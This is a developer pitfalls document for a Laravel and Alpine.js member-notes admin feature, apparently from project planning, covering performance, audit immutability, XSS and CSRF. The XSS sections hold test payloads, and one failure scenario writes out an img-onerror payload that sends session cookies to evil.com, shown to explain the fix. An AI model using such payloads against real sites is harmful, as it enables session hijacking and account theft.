262 lines
10 KiB
Markdown
262 lines
10 KiB
Markdown
# Domain Pitfalls
|
|
|
|
**Domain:** CRM/Admin Member Note Systems
|
|
**Researched:** 2026-02-13
|
|
|
|
## Critical Pitfalls
|
|
|
|
Mistakes that cause rewrites or major issues.
|
|
|
|
### Pitfall 1: N+1 Query Explosion on Member List
|
|
**What goes wrong:** Loading note counts without eager loading causes N+1 queries (1 query per member row).
|
|
|
|
**Why it happens:** Developer writes `$member->notes->count()` in Blade loop, triggering lazy load per iteration.
|
|
|
|
**Consequences:**
|
|
- Member list page load time grows linearly with pagination size
|
|
- Database connection pool exhaustion (15 members = 15 extra queries)
|
|
- Poor UX (slow page loads)
|
|
|
|
**Prevention:**
|
|
```php
|
|
// WRONG: Lazy loading in loop
|
|
$members = Member::paginate(15);
|
|
// In Blade: {{ $member->notes->count() }} = 15 extra queries
|
|
|
|
// RIGHT: Eager load counts
|
|
$members = Member::withCount('notes')->paginate(15);
|
|
// In Blade: {{ $member->notes_count }} = 1 query total
|
|
```
|
|
|
|
**Detection:** Laravel Debugbar shows 15+ queries on member list page; query log shows repeated `SELECT * FROM notes WHERE notable_id = ?`.
|
|
|
|
---
|
|
|
|
### Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail
|
|
**What goes wrong:** Adding "Edit" or "Delete" buttons on notes destroys compliance value.
|
|
|
|
**Why it happens:** Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.
|
|
|
|
**Consequences:**
|
|
- Legal/compliance risk (no immutable record of observations)
|
|
- Loss of trust (admins can rewrite history)
|
|
- Violates NPO transparency expectations
|
|
- Healthcare standards require append-only audit trails
|
|
|
|
**Prevention:**
|
|
- Hard constraint in requirements: NO edit/delete operations
|
|
- Database triggers to prevent UPDATE/DELETE on notes table (optional)
|
|
- UI design: no edit/delete buttons, only "Add Correction" button that creates new note
|
|
- Documentation: explain append-only pattern to stakeholders upfront
|
|
|
|
**Detection:** Warning signs: user stories mention "edit note," "delete note," or "fix note."
|
|
|
|
---
|
|
|
|
### Pitfall 3: XSS Vulnerability via Unescaped Note Content
|
|
**What goes wrong:** User enters `<script>alert('XSS')</script>` in note content, executes on admin viewing notes.
|
|
|
|
**Why it happens:** Developer uses `{!! $note->content !!}` (unescaped) instead of `{{ $note->content }}` (escaped) in Blade.
|
|
|
|
**Consequences:**
|
|
- Security breach (session hijacking, CSRF token theft)
|
|
- Malicious admin can inject scripts affecting other admins
|
|
- Compliance violation (data integrity)
|
|
|
|
**Prevention:**
|
|
```php
|
|
// Backend: Strip HTML tags on save
|
|
$note->content = strip_tags($request->content);
|
|
|
|
// Blade: Always escape (default)
|
|
{{ $note->content }} // ✓ Safe (auto-escapes)
|
|
{!! $note->content !!} // ✗ Dangerous (unescaped)
|
|
|
|
// Alpine.js: Use x-text, not x-html
|
|
<div x-text="note.content"></div> // ✓ Safe
|
|
<div x-html="note.content"></div> // ✗ Dangerous
|
|
```
|
|
|
|
**Detection:** Penetration testing; submit `<img src=x onerror=alert(1)>` in note form and check if alert fires.
|
|
|
|
---
|
|
|
|
### Pitfall 4: CSRF Token Missing on AJAX Requests
|
|
**What goes wrong:** Axios POST requests fail with 419 CSRF error.
|
|
|
|
**Why it happens:** Axios not configured to send `X-XSRF-TOKEN` header, or cookie not set.
|
|
|
|
**Consequences:**
|
|
- All note creation fails (HTTP 419)
|
|
- Poor UX (users can't add notes)
|
|
- Frustration (appears broken)
|
|
|
|
**Prevention:**
|
|
```javascript
|
|
// Verify in resources/js/bootstrap.js:
|
|
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
|
|
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header
|
|
|
|
// Verify in Blade layout:
|
|
<meta name="csrf-token" content="{{ csrf_token() }}">
|
|
|
|
// Laravel automatically sets XSRF-TOKEN cookie on page load
|
|
```
|
|
|
|
**Detection:** Browser console shows `POST /admin/members/1/notes 419 CSRF token mismatch`; Laravel logs show CSRF validation failure.
|
|
|
|
## Moderate Pitfalls
|
|
|
|
### Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)
|
|
**What goes wrong:** Storing `author_name: "John Smith"` instead of `user_id: 42`.
|
|
|
|
**Prevention:** Use foreign key to `users` table; join to get name dynamically. Prevents orphaned author names if user renamed.
|
|
|
|
---
|
|
|
|
### Pitfall 6: Forgetting to Index notable_id in Polymorphic Table
|
|
**What goes wrong:** Queries like `WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member'` become slow without composite index.
|
|
|
|
**Prevention:** Migration includes `$table->index(['notable_type', 'notable_id'])` (morphs() helper does this automatically).
|
|
|
|
---
|
|
|
|
### Pitfall 7: Using Global Alpine.js Store for Notes
|
|
**What goes wrong:** `Alpine.store('notes', {...})` creates shared state; updating notes for Member A affects Member B's UI.
|
|
|
|
**Prevention:** Use component-scoped `x-data` per member row (see ARCHITECTURE.md Pattern 3).
|
|
|
|
---
|
|
|
|
### Pitfall 8: Not Handling AJAX Errors Gracefully
|
|
**What goes wrong:** Network failure causes silent failure; user thinks note saved but it didn't.
|
|
|
|
**Prevention:** Always show user feedback on error:
|
|
```javascript
|
|
catch (error) {
|
|
if (error.response?.status === 422) {
|
|
alert('備註內容不得為空或超過 1000 字');
|
|
} else {
|
|
alert('新增備註失敗,請稍後再試');
|
|
}
|
|
}
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 9: Loading All Notes on Page Load (Performance)
|
|
**What goes wrong:** Eager loading `with('notes')` on member list loads ALL note content, bloating response.
|
|
|
|
**Prevention:** Use `withCount('notes')` to load only counts; fetch full notes via AJAX when user expands panel.
|
|
|
|
## Minor Pitfalls
|
|
|
|
### Pitfall 10: Inconsistent Timestamp Formatting
|
|
**What goes wrong:** Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.
|
|
|
|
**Prevention:** Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.
|
|
|
|
---
|
|
|
|
### Pitfall 11: No Loading State on AJAX Submit
|
|
**What goes wrong:** User clicks "儲存" multiple times during slow network, creates duplicate notes.
|
|
|
|
**Prevention:** Disable submit button while `isAdding === true`:
|
|
```html
|
|
<button @click="addNote" :disabled="isAdding">
|
|
<span x-show="!isAdding">儲存</span>
|
|
<span x-show="isAdding">儲存中...</span>
|
|
</button>
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON
|
|
**What goes wrong:** Note content with `「quoted text」` breaks JSON parsing if not properly escaped.
|
|
|
|
**Prevention:** Use `json_encode()` (Laravel does automatically); test with Traditional Chinese punctuation.
|
|
|
|
---
|
|
|
|
### Pitfall 13: Missing Empty State Message
|
|
**What goes wrong:** Expanded note panel shows blank space when member has no notes; user confused.
|
|
|
|
**Prevention:**
|
|
```html
|
|
<div x-show="notes.length === 0">
|
|
<p class="text-gray-500">尚無備註</p>
|
|
</div>
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 14: Forgetting Dark Mode Styling
|
|
**What goes wrong:** Note panel has white background in dark mode, blinds users.
|
|
|
|
**Prevention:** Use Tailwind `dark:` prefix on all color classes (see ARCHITECTURE.md).
|
|
|
|
## Phase-Specific Warnings
|
|
|
|
| Phase Topic | Likely Pitfall | Mitigation |
|
|
|-------------|---------------|------------|
|
|
| **Database Migration** | Forgetting `notable_type` and `notable_id` index | Use `$table->morphs('notable')` (auto-creates index) |
|
|
| **Model Relationships** | Using `hasMany` instead of `morphMany` | Follow polymorphic pattern from start (future-proof) |
|
|
| **Controller JSON Responses** | Returning raw model instead of Resource | Always wrap in `new NoteResource($note)` for consistency |
|
|
| **Alpine.js AJAX** | Using Fetch API without CSRF token | Use Axios (already configured with CSRF in bootstrap.js) |
|
|
| **Blade Templates** | Unescaping note content | Always use `{{ }}` not `{!! !!}` for user input |
|
|
| **Query Optimization** | Lazy loading note counts | Use `withCount('notes')` in controller query |
|
|
| **Audit Logging** | Forgetting to log note creation | Add `AuditLogger::log()` call in controller `store()` method |
|
|
| **Access Control** | Adding new permission instead of reusing middleware | Reuse existing `admin` middleware (all admin roles share notes) |
|
|
| **UI/UX** | Full page reload after note submit | Use AJAX with Alpine.js (no navigation) |
|
|
| **Testing** | Not testing with Traditional Chinese input | Test with `「」、。!?` characters in note content |
|
|
|
|
## Real-World Failure Modes
|
|
|
|
### Scenario 1: The Disappeared Notes
|
|
**What happened:** Developer used `onDelete('cascade')` on `user_id` foreign key. When an admin user account was deleted, all their notes disappeared.
|
|
|
|
**Impact:** Lost audit trail; compliance violation.
|
|
|
|
**Fix:** Use `onDelete('restrict')` on `user_id` (prevent user deletion if they authored notes) OR use soft deletes on users table.
|
|
|
|
---
|
|
|
|
### Scenario 2: The Slow Member List
|
|
**What happened:** 15-member list took 3 seconds to load due to N+1 queries loading note counts.
|
|
|
|
**Impact:** Poor UX; users complained about slowness.
|
|
|
|
**Fix:** Changed `Member::paginate(15)` to `Member::withCount('notes')->paginate(15)`. Load time dropped to 200ms.
|
|
|
|
---
|
|
|
|
### Scenario 3: The XSS Attack
|
|
**What happened:** Malicious admin entered `<img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)>` in note. When chairman viewed notes, session cookie leaked.
|
|
|
|
**Impact:** Session hijacking; chairman account compromised.
|
|
|
|
**Fix:** Added `strip_tags()` on backend save, changed Blade to `{{ }}`, changed Alpine.js to `x-text`.
|
|
|
|
---
|
|
|
|
### Scenario 4: The CSRF 419 Mystery
|
|
**What happened:** All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.
|
|
|
|
**Impact:** Feature completely broken; users frustrated.
|
|
|
|
**Fix:** Reverted to global `axios` instance configured in `bootstrap.js` (includes CSRF token automatically).
|
|
|
|
## Sources
|
|
|
|
- [10 Essential Audit Trail Best Practices for 2026](https://signal.opshub.me/audit-trail-best-practices/) - Append-only logging
|
|
- [Addendums to Progress Notes - Healthcare Compliance](https://support.sessionshealth.com/article/393-addendum) - Why no editing
|
|
- [Laravel Debugbar N+1 Query Detection](https://github.com/barryvdh/laravel-debugbar) - Performance monitoring
|
|
- [Laravel 10.x CSRF Protection](https://laravel.com/docs/10.x/csrf) - CSRF token handling
|
|
- [Laravel 10.x Blade Security](https://laravel.com/docs/10.x/blade#displaying-data) - XSS prevention
|
|
- [Alpine.js Security Best Practices](https://alpinejs.dev/essentials/templating#security) - x-text vs x-html
|
|
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - Input sanitization
|
|
|
|
---
|
|
*Pitfalls research for: Member Notes System (會員備註系統)*
|
|
*Researched: 2026-02-13*
|